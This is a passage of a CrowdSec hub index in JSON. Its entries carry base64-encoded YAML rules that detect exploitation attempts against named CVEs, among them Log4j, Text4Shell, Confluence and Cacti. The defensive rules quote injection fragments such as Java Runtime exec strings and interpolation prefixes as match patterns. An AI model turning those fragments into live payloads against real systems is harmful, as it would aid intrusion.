"dHlwZTogbGVha3kKZm9ybWF0OiAyLjAKI2RlYnVnOiB0cnVlCiMgIF9fY3NyZl9tYWdpYz1rZXklM0E4NTg2NmZiY2I2YTFkNzMyNTU0NGE1NWFhNjNmYjUzNDY3N2YzNGNhJTJDMTY2NTEwMjQxMSZyZXF1ZXN0PWxvZyZ0YXNrPWNyZWF0ZSZsZXZlbD1FUlImbWVzc2FnZT1UcmVuY2hlcyUyMG9mJTIwSVQlMjBQb0MmYnJvd3NlciU1Qm5hbWUlNUQ9Q2hyb21lJmJyb3dzZXIlNUJ2ZXJzaW9uJTVEPTEwMS4wLjQ5NTEuNDEmYnJvd3NlciU1QnBsYXRmb3JtJTVEPVdpbmRvd3MmZmlsZT1saW5lPTgwMCZ2aWV3PXJlcXVlc3QgSFRUUC8xLjEKbmFtZTogYmF1ZG5lby96b25lbWluZGVyX2N2ZS0yMDIyLTM5MjkxCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDIyLTM5MjkxIGV4cGxvaXRhdGlvbiBhdHRlbXB0cyIKZmlsdGVyOiB8CiAgICAgICAgICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdCiAgICAgICAgICBhbmQgCiAgICAgICAgICAoCiAgICAgICAgICAoIFVwcGVyKGV2dC5NZXRhLmh0dHBfdmVyYikgPT0gIlBPU1QiIGFuZAogICAgICAgICAgVXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBtYXRjaGVzIFVwcGVyKCdeKD9QPHBhdGg+Ly4qaW5kZXgucGhwKT8uKig/UDx2aWV3PnZpZXc9cmVxdWVzdHxyZXF1ZXN0PWxvZ3x0YXNrPWNyZWF0ZSkrLiooP1A8cmVxdWVzdF9xdWVyeT52aWV3PXJlcXVlc3R8cmVxdWVzdD1sb2d8dGFzaz1jcmVhdGUpKy4qKD9QPHRhc2tfcXVlcnk+dmlldz1yZXF1ZXN0fHJlcXVlc3Q9bG9nfHRhc2s9Y3JlYXRlKSsuKicpCiAgCiAgICAgICAgICApCiAgICAgICAgICBvcgogICAgICAgICAgVXBwZXIoZXZ0LlBhcnNlZC5yYXdyZXF1ZXN0KSBtYXRjaGVzIFVwcGVyKCdeKD9QPHZlcmI+UE9TVCkgKD9QPHBhdGg+Ly4qaW5kZXgucGhwKT8uKig/UDx2aWV3PnZpZXc9cmVxdWVzdHxyZXF1ZXN0PWxvZ3x0YXNrPWNyZWF0ZSkrLiooP1A8cmVxdWVzdF9xdWVyeT52aWV3PXJlcXVlc3R8cmVxdWVzdD1sb2d8dGFzaz1jcmVhdGUpKy4qKD9QPHRhc2tfcXVlcnk+dmlldz1yZXF1ZXN0fHJlcXVlc3Q9bG9nfHRhc2s9Y3JlYXRlKSsuKicpCiAgICAgICAgICApCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmNhcGFjaXR5OiAxMApsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogMm0KbGFiZWxzOgogIHNlcnZpY2U6IHpvbmVtaW5kZXIKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect cve-2022-39291 exploitation attempts", "author": "baudneo", "labels": { "remediation": "true", "service": "zoneminder", "type": "exploit" } }, "crowdsecurity/CVE-2021-4034": { "path": "scenarios/crowdsecurity/CVE-2021-4034.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f08340e4247cfd2c44fb2db26dcb752aacbcfb483dc7da686af8e793b5a32d0f", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjEtNDAzNAoKRGV0ZWN0cyBleHBsb2l0IG9mIENWRS0yMDIxLTQwMzQgYHBrZXhlY2AgdnVsbmVyYWJpbGl0eS4KCjp3YXJuaW5nOiBTbWFydCBhdHRhY2tlcnMgY2FuIGV4cGxvaXQgdGhpcyB2dWxuZXJhYmlsaXR5IHdpdGhvdXQgbGVhdmluZyB0cmFjZXMgaW4gbG9ncwoK", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMS00MDM0CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IENWRS0yMDIxLTQwMzQgZXhwbG9pdHMiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ0NWRS0yMDIxLTQwMzQteHBsJwpncm91cGJ5OiBldnQuTWV0YS50YXJnZXRfdXNlcgpibGFja2hvbGU6IDFtCmxhYmVsczoKIHR5cGU6IHByaXZlc2MKc2NvcGU6CiAgdHlwZTogc3lzdGVtX2FjY291bnQKICBleHByZXNzaW9uOiBldnQuTWV0YS50YXJnZXRfdXNlcgo=", "description": "Detect CVE-2021-4034 exploits", "author": "crowdsecurity", "labels": { "type": "privesc" } }, "crowdsecurity/CVE-2022-26134": { "path": "scenarios/crowdsecurity/CVE-2022-26134.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ef1cbb63184361f1fca2b914b436f99bac53b98047da4442bebe58fd65a6dc2d", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItMjYxMzQKCkRldGVjdHMgYXR0ZW1wdHMgb2YgZXhwbG9pdCBvZiBDVkUtMjAyMi0yNjEzNCBSQ0UgdnVsbmVyYWJpbGl0eS4KCgpSZWZlcmVuY2U6IGh0dHBzOi8vY3ZlLm1pdHJlLm9yZy9jZ2ktYmluL2N2ZW5hbWUuY2dpP25hbWU9Q1ZFLTIwMjItMjYxMzQK", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi0yNjEzNApkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi0yNjEzNCBleHBsb2l0cyIKZmlsdGVyOiAiVXBwZXIoUGF0aFVuZXNjYXBlKGV2dC5NZXRhLmh0dHBfcGF0aCkpIGNvbnRhaW5zIFVwcGVyKCdAamF2YS5sYW5nLlJ1bnRpbWVAZ2V0UnVudGltZSgpLmV4ZWMoJykiCmJsYWNraG9sZTogMW0KZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect CVE-2022-26134 exploits", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-35914": { "path": "scenarios/crowdsecurity/CVE-2022-35914.yaml", "version": "0.1", "versions": { "0.1": { "digest": "8dcd25e2e77855c6e8216d2d988af69f93492d49cb9bd68009149124de555b61", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItMzU5MTQKCkRldGVjdHMgYXR0ZW1wdHMgb2YgZXhwbG9pdCBvZiBDVkUtMjAyMi0zNTkxNCBSQ0UgdnVsbmVyYWJpbGl0eS4KCgpSZWZlcmVuY2U6IGh0dHBzOi8vZ2l0aHViLmNvbS9nbHBpLXByb2plY3QvZ2xwaS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtYzVneC03ODlxLTVwY3IK", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi0zNTkxNApkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi0zNTkxNCBleHBsb2l0cyIKZmlsdGVyOiAiVXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBjb250YWlucyBVcHBlcignL3ZlbmRvci9odG1sYXdlZC9odG1sYXdlZC9odG1MYXdlZFRlc3QucGhwJykiCmJsYWNraG9sZTogMW0KZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect CVE-2022-35914 exploits", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-37042": { "path": "scenarios/crowdsecurity/CVE-2022-37042.yaml", "version": "0.1", "versions": { "0.1": { "digest": "a359e07196179abadd5c81f4599a539f693a647cca4b744d3a0ef43e6d49496d", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItMzcwNDIKCkRldGVjdHMgYXR0ZW1wdHMgb2YgZXhwbG9pdCBvZiBDVkUtMjAyMi0zNzA0MiBSQ0UgdnVsbmVyYWJpbGl0eS4K", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi0zNzA0MgpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi0zNzA0MiBleHBsb2l0cyIKZmlsdGVyOiB8CiAgICAoCiAgICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIGNvbnRhaW5zIFVwcGVyKCcvc2VydmljZS9leHRlbnNpb24vYmFja3VwL21ib3hpbXBvcnQ/YWNjb3VudC1uYW1lPWFkbWluJm93PTImbm8tc3dpdGNoPTEmYXBwZW5kPTEnKSB8fAogICAgVXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBjb250YWlucyBVcHBlcignL3NlcnZpY2UvZXh0ZW5zaW9uL2JhY2t1cC9tYm94aW1wb3J0P2FjY291bnQtbmFtZT1hZG1pbiZhY2NvdW50LXN0YXR1cz0xJm93PWNtZCcpIAogICAgKQogICAgYW5kIGV2dC5NZXRhLmh0dHBfc3RhdHVzIHN0YXJ0c1dpdGggKCc0MCcpIGFuZAogICAgVXBwZXIoZXZ0Lk1ldGEuaHR0cF92ZXJiKSA9PSAnUE9TVCcKCgpibGFja2hvbGU6IDJtCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect CVE-2022-37042 exploits", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-40684": { "path": "scenarios/crowdsecurity/CVE-2022-40684.yaml", "version": "0.2", "versions": { "0.1": { "digest": "3966ffd8e0b1b6d00ac99759955f676f39a5d350d0d2de4117c1293dd17617bb", "deprecated": false }, "0.2": { "digest": "49e7ee3c7afd08b249c0429abb9a74de76a9bdef56f803bc802425cca7d45027", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItNDA2ODQKCkRldGVjdHMgRm9ydGlPcywgRm9ydGlQcm94eSwgYW5kIEZvcnRpU3dpdGNoTWFuYWdlciBhdXRoZW50aWNhdGlvbiBieXBhc3MgKENWRS0yMDIyLTQwNjg0KSB2dWxuZXJhYmlsaXR5Lgo=", "content": "dHlwZTogdHJpZ2dlcgpuYW1lOiBjcm93ZHNlY3VyaXR5L2ZvcnRpbmV0LWN2ZS0yMDIyLTQwNjg0CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDIyLTQwNjg0IGV4cGxvaXRhdGlvbiBhdHRlbXB0cyIKZmlsdGVyOiB8CiAgZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWyJodHRwX2FjY2Vzcy1sb2ciLCAiaHR0cF9lcnJvci1sb2ciXSBhbmQgCiAgVXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBzdGFydHNXaXRoIFVwcGVyKCcvYXBpL3YyL2NtZGIvc3lzdGVtL2FkbWluLycpIGFuZCBMb3dlcihldnQuUGFyc2VkLmh0dHBfdXNlcl9hZ2VudCkgPT0gJ3JlcG9ydCBydW5uZXInCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmJsYWNraG9sZTogMm0KbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect cve-2022-40684 exploitation attempts", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-41082": { "path": "scenarios/crowdsecurity/CVE-2022-41082.yaml", "version": "0.3", "versions": { "0.1": { "digest": "4c1c2f9955b07527a943b5bb756bd1a3ac85d20ac1c32e5a4087c3e59840d53d", "deprecated": false }, "0.2": { "digest": "429111e4d5cbbbfaaaee02eee6d646d0f75878c12ab24cd10ece4fd133b45eff", "deprecated": false }, "0.3": { "digest": "fb8dac201728cb4b366fe199d523ec01423dd7487e76854e38e89216ba7f717d", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi00MTA4MgpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi00MTA4MiBleHBsb2l0cyIKZmlsdGVyOiB8CiAgICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIGNvbnRhaW5zIFVwcGVyKCcvYXV0b2Rpc2NvdmVyL2F1dG9kaXNjb3Zlci5qc29uJykgJiYKICAgIFVwcGVyKGV2dC5QYXJzZWQuaHR0cF9hcmdzKSBjb250YWlucyBVcHBlcigncG93ZXJzaGVsbCcpCgpibGFja2hvbGU6IDFtCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect CVE-2022-41082 exploits", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-41697": { "path": "scenarios/crowdsecurity/CVE-2022-41697.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ae9e978bd67cefe94cb65a5aefc557f873ab7622805ce053961b573e135df43e", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItNDE2OTcKR2hvc3QgdXNlciBlbnVtZXJhdGlvbiB2dWxuZXJhYmxpdHkKIyMjIyBSZWZlcmVuY2VzCltDVkVdKGh0dHBzOi8vY3ZlLm1pdHJlLm9yZy9jZ2ktYmluL2N2ZW5hbWUuY2dpP25hbWU9Q1ZFLTIwMjItNDE2OTcpIDwvYnI+Clt0YWxvc10oaHR0cHM6Ly93d3cudGFsb3NpbnRlbGxpZ2VuY2UuY29tL3Z1bG5lcmFiaWxpdHlfcmVwb3J0cy9UQUxPUy0yMDIyLTE2MjUp", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi00MTY5NwpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi00MTY5NyBlbnVtZXJhdGlvbiIKZmlsdGVyOiB8CiAgICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIGNvbnRhaW5zIFVwcGVyKCcvZ2hvc3QvYXBpL2FkbWluL3Nlc3Npb24nKSAmJgogICAgVXBwZXIoZXZ0LlBhcnNlZC52ZXJiKSA9PSAnUE9TVCcgJiYKICAgIGV2dC5NZXRhLmh0dHBfc3RhdHVzID09ICc0MDQnCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect CVE-2022-41697 enumeration", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-42889": { "path": "scenarios/crowdsecurity/CVE-2022-42889.yaml", "version": "0.2", "versions": { "0.1": { "digest": "0efbd6a607d22683331a3e4ee96a78cedc3a071dd80f302df10158628eef36d9", "deprecated": false }, "0.2": { "digest": "7358ad76095b008ebdf384cfbda11f1f5977f3e41acaad6f83fd779fdddd656a", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItNDI4ODkKCkRldGVjdHMgYXR0ZW1wdHMgb2YgZXhwbG9pdCBvZiBDVkUtMjAyMi00Mjg4OSAoVGV4dDRTaGVsbCkgUkNFIHZ1bG5lcmFiaWxpdHkuCgoKUmVmZXJlbmNlOiBodHRwczovL2N2ZS5taXRyZS5vcmcvY2dpLWJpbi9jdmVuYW1lLmNnaT9uYW1lPUNWRS0yMDIyLTQyODg5Cg==", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi00Mjg4OQpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi00Mjg4OSBleHBsb2l0cyAoVGV4dDRTaGVsbCkiCmZpbHRlcjogfAogIFVwcGVyKFBhdGhVbmVzY2FwZShldnQuTWV0YS5odHRwX3BhdGgpKSBjb250YWlucyBVcHBlcignJHtzY3JpcHQ6amF2YXNjcmlwdDpqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygnKQogIG9yCiAgVXBwZXIoUGF0aFVuZXNjYXBlKGV2dC5NZXRhLmh0dHBfcGF0aCkpIGNvbnRhaW5zIFVwcGVyKCcke3NjcmlwdDpqczpqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygnKQogIG9yCiAgVXBwZXIoUGF0aFVuZXNjYXBlKGV2dC5NZXRhLmh0dHBfcGF0aCkpIGNvbnRhaW5zIFVwcGVyKCcke3VybDpVVEYtODonKSAKICBvcgogIFVwcGVyKFBhdGhVbmVzY2FwZShldnQuTWV0YS5odHRwX3BhdGgpKSBjb250YWlucyBVcHBlcignJHtkbnM6YWRkcmVzc3wnKSAKYmxhY2tob2xlOiAxbQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect CVE-2022-42889 exploits (Text4Shell)", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-44877": { "path": "scenarios/crowdsecurity/CVE-2022-44877.yaml", "version": "0.2", "versions": { "0.1": { "digest": "672740b98557f5e4d0c1e40d1a9bf01ab294e06e02dc750b92294f5a9933c0fa", "deprecated": false }, "0.2": { "digest": "0127aac14a23d5f67218598b632e9654f82ae73a05d9113e7aeb592f4fcf5611", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItNDQ4NzcKClRyaWdnZXIgZXhwbG9pdHMgb2YgQ1ZFLTIwMjItNDQ4NzcgQ2VudG9zIFdlYiBQYW5lbCA3IFVuYXV0aGVudGljYXRlZCBSZW1vdGUgQ29kZSBFeGVjdXRpb24KCgpSZWZlcmVuY2U6IGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDIyLTQ0ODc3Cg==", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi00NDg3NwpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi00NDg3NyBleHBsb2l0cyIKZmlsdGVyOiB8CiAgICBMb3dlcihldnQuTWV0YS5odHRwX3BhdGgpIGNvbnRhaW5zICcvaW5kZXgucGhwJyAmJgogICAgVXBwZXIoZXZ0LlBhcnNlZC52ZXJiKSA9PSAnUE9TVCcgJiYKICAgIGV2dC5NZXRhLmh0dHBfc3RhdHVzID09ICczMDInICYmCiAgICBMb3dlcihldnQuUGFyc2VkLmh0dHBfYXJncykgbWF0Y2hlcyAnbG9naW49LipbJHwlMjRdW1xcKHwlMjhdLipbXFwpfCUyOV0nCgpibGFja2hvbGU6IDFtCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect CVE-2022-44877 exploits", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/CVE-2022-46169": { "path": "scenarios/crowdsecurity/CVE-2022-46169.yaml", "version": "0.1", "versions": { "0.1": { "digest": "a688d850825ff127adec942a59fbe77177948e7a5eb2ab1ba33f587e1e1d34f8", "deprecated": false } }, "long_description": "IyMgQ1ZFLTIwMjItNDYxNjkKCkNhY3RpIGlzIGFuIG9wZW4gc291cmNlIHBsYXRmb3JtIHdoaWNoIHByb3ZpZGVzIGEgcm9idXN0IGFuZCBleHRlbnNpYmxlIG9wZXJhdGlvbmFsIG1vbml0b3JpbmcgYW5kIGZhdWx0IG1hbmFnZW1lbnQgZnJhbWV3b3JrIGZvciB1c2Vycy4gSW4gYWZmZWN0ZWQgdmVyc2lvbnMgYSBjb21tYW5kIGluamVjdGlvbiB2dWxuZXJhYmlsaXR5IGFsbG93cyBhbiB1bmF1dGhlbnRpY2F0ZWQgdXNlciB0byBleGVjdXRlIGFyYml0cmFyeSBjb2RlIG9uIGEgc2VydmVyIHJ1bm5pbmcgQ2FjdGksIGlmIGEgc3BlY2lmaWMgZGF0YSBzb3VyY2Ugd2FzIHNlbGVjdGVkIGZvciBhbnkgbW9uaXRvcmVkIGRldmljZS4KCltSZWFkIE1vcmVdKGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDIyLTQ2MTY5KQoK", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9DVkUtMjAyMi00NjE2OS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMi00NjE2OSBicnV0ZSBmb3JjaW5nIgpmaWx0ZXI6IHwKICAgIFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgVXBwZXIoJy9yZW1vdGVfYWdlbnQucGhwJykgJiYKICAgIFVwcGVyKGV2dC5QYXJzZWQudmVyYikgPT0gJ0dFVCcgJiYKICAgIExvd2VyKGV2dC5QYXJzZWQuaHR0cF9hcmdzKSBjb250YWlucyAnaG9zdF9pZCcgJiYKICAgIExvd2VyKGV2dC5QYXJzZWQuaHR0cF9hcmdzKSBjb250YWlucyAnbG9jYWxfZGF0YV9pZHMnCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQp0eXBlOiB0cmlnZ2VyCm5hbWU6IGNyb3dkc2VjdXJpdHkvQ1ZFLTIwMjItNDYxNjktY21kCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IENWRS0yMDIyLTQ2MTY5IGNtZCBpbmplY3Rpb24iCmZpbHRlcjogfAogICAgVXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBjb250YWlucyBVcHBlcignL3JlbW90ZV9hZ2VudC5waHAnKSAmJgogICAgVXBwZXIoZXZ0LlBhcnNlZC52ZXJiKSA9PSAnR0VUJyAmJgogICAgTG93ZXIoZXZ0LlBhcnNlZC5odHRwX2FyZ3MpIGNvbnRhaW5zICdhY3Rpb249cG9sbGRhdGEnICYmCiAgICBMb3dlcihldnQuUGFyc2VkLmh0dHBfYXJncykgbWF0Y2hlcyAncG9sbGVyX2lkPS4qKDt8JTNiKScKYmxhY2tob2xlOiAxbQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect CVE-2022-46169 brute forcing", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/apache_log4j2_cve-2021-44228": { "path": "scenarios/crowdsecurity/apache_log4j2_cve-2021-44228.yaml", "version": "0.4", "versions": { "0.1": { "digest": "7ee4024160a62e888d7db882eb4ed100de915716b91be09cef64390381babfb9", "deprecated": false }, "0.2": { "digest": "578cd7121a0cf424affcb435c57d6a03d00569258e5b066459b9f87fe02bfacc", "deprecated": false }, "0.3": { "digest": "16e1244697e41f006b1bfb7a4bd957d22d18b75f4dba94812a9dfc4a7135808d", "deprecated": false }, "0.4": { "digest": "587688aca2067e8c8fba50f796ba0502e955696d4d545edf70b9b5162b0cf944", "deprecated": false } }, "long_description": "U2NlbmFyaW8gdG8gZGV0ZWN0IGV4cGxvaXRhdGlvbiBhdHRlbXB0cyBvZiAibG9nNGoiIENWRS0yMDIxLTQ0MjI4LgoKOndhcm5pbmc6IENyb3dkc2VjIGlzIG5vdCBhIFdBRiBhbmQsIGFzIHN1Y2gsIGJ5cGFzcyB0byB0aG9zZSBzaWduYXR1cmVzIGFyZSBsaWtlbHkgOndhcm5pbmc6CgoKCgoK", "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9hcGFjaGVfbG9nNGoyX2N2ZS0yMDIxLTQ0MjI4CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDIxLTQ0MjI4IGV4cGxvaXRhdGlvbiBhdHRlbXBzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZCAKICAoCiAgICBhbnkoRmlsZSgibG9nNGoyX2N2ZV8yMDIxXzQ0MjI4LnR4dCIpLCB7IFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgVXBwZXIoIyl9KQogIG9yCiAgICBhbnkoRmlsZSgibG9nNGoyX2N2ZV8yMDIxXzQ0MjI4LnR4dCIpLCB7IFVwcGVyKGV2dC5QYXJzZWQuaHR0cF91c2VyX2FnZW50KSBjb250YWlucyBVcHBlcigjKX0pCiAgb3IKICAgIGFueShGaWxlKCJsb2c0ajJfY3ZlXzIwMjFfNDQyMjgudHh0IiksIHsgVXBwZXIoZXZ0LlBhcnNlZC5odHRwX3JlZmVyZXIpIGNvbnRhaW5zIFVwcGVyKCMpfSkgIAogICkKZGF0YToKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy9tYXN0ZXIvd2ViL2xvZzRqMl9jdmVfMjAyMV80NDIyOC50eHQKICAgIGRlc3RfZmlsZTogbG9nNGoyX2N2ZV8yMDIxXzQ0MjI4LnR4dAogICAgdHlwZTogc3RyaW5nCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmJsYWNraG9sZTogMm0KbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect cve-2021-44228 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/asterisk_bf": { "path": "scenarios/crowdsecurity/asterisk_bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ce783ad467c8ca271aa023c57ff56305ba2b5f15c7cb6a7ca2079225437eabc8", "deprecated": false } }, "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9hc3Rlcmlza19iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBhc3RlcmlzayB1c2VyIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2FzdGVyaXNrX2ZhaWxlZF9hdXRoJwpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiAgc2VydmljZTogYXN0ZXJpc2sKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWU=", "description": "Detect asterisk user bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "asterisk", "type": "bruteforce" } }, "crowdsecurity/asterisk_user_enum": { "path": "scenarios/crowdsecurity/asterisk_user_enum.yaml", "version": "0.1", "versions": { "0.1": { "digest": "10fc279bfe68cfc577c4d6a4e76a4101579850556129e62dbebf2b8abaebc0c6", "deprecated": false } }, "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9hc3Rlcmlza191c2VyX2VudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgYXN0ZXJpc2sgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2FzdGVyaXNrX2ZhaWxlZF9hdXRoJwpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnRhcmdldF91c2VyCmxlYWtzcGVlZDogMTBzCmNhcGFjaXR5OiA1CmJsYWNraG9sZTogMW0KbGFiZWxzOgogIHNlcnZpY2U6IGFzdGVyaXNrCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect asterisk user enum bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "asterisk", "type": "bruteforce" } }, "crowdsecurity/ban-defcon-drop_range": { "path": "scenarios/crowdsecurity/ban-defcon-drop_range.yaml", "version": "0.2", "versions": { "0.1": { "digest": "da839847a4a67c1787ea5185e2b25e1e26710ac3b12e7c179a9bdda8a99b2009", "deprecated": false }, "0.2": { "digest": "e1068cba1ce38cc0c3b82b195e91b560e8675ae789c451bbef5c5b4aff1aff02", "deprecated": false } }, "long_description": 